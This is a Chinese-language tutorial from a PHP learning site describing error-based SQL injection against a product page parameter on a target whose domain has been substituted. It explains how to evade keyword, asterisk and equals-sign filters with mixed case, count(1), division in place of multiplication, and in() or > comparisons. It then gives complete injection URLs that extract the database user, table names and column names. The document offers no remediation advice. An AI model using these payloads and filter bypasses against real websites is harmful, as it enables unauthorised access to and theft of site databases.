来源:自学PHP网 时间:2015-04-17 11:59 作者: 阅读:次
[导读] 目标站用www.cnseay.com代替。打开网站,点开一个产品页面。在?id=62后面加单引号,如下图判断出参数id无单引号保护,且GPC开启,无单引号就好办多了。不过经测试,发现以下问题:1、常...
目标站用www.cnseay.com代替。
打开网站,点开一个产品页面。在?id=62 后面加单引号,如下图 判断出参数id无单引号保护,且GPC开启,无单引号就好办多了。 不过经测试,发现以下问题: 1、常用注入关键字union、select、from、星号(*)、等号等均被替换为空。 2、参数被多条SQL语句使用,只能用第一条语句双查询报错注入。
OK,知道了限制,我们就可以想绕过方法来玩了。
通过测试发现。union、select、from等关键字可大小写绕过。
OK,接下来就要用双查询就可以得到数据了。比较常用的双查询语句: (select 1 from (select count(*),concat(floor(rand(0)*2),(select user()))a from information_schema.tables group by a)b) 可以看到有星号,星号是会被替换为空的,那就办法不用星号吧。 第一个星号处:count(*) 我把它换成count(1)。 第二个星号处:floor(rand(0)*2) 怎么搞呢? 其实很简单,1*2=??? 等于2吧,那乘法换成除法呢? 那就是1/0.5 还是等于2。
那等号呢?? 我们可以用大于或者小于绕过。 所以最终的语句为: http://www.2cto.com /show_content.php?id=62 anD cate_parent>(selecT 1 fRom (selecT count(1),concat(floor(rand(0)/0.5),(select USER()))a frOm information_schema.tables gRoup by a)b)– 1
那查其他表数据呢? union select 1,2,..,group_concat(table_name) from information_schema.tables where table_schema =database() 这里有等号啊。怎么绕???????
可以用in()查询。 爆表名: http://www.cnseay.com/show_content.php?id=62 anD cate_parent>(selecT 1 fRom (selecT count(1),concat(floor(rand(0)/0.5),(selEct table_name fRom information_schema.tables wHere table_schema in(database())limIt 1,1))a frOm information_schema.tables gRoup by a)b)– 1
爆列名:
http://www.cnseay.com/show_content.php?id=62 anD cate_parent>(selecT 1 fRom (selecT count(1),concat(floor(rand(0)/0.5),(selEct column_name fRom information_schema.columns whEre table_name in(char(101,100,117,99,109,115,95,97,100,109,105,110)) aNd table_schema in(database()) limIt 1,1))a frOm information_schema.tables gRoup by a)b)– 1
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com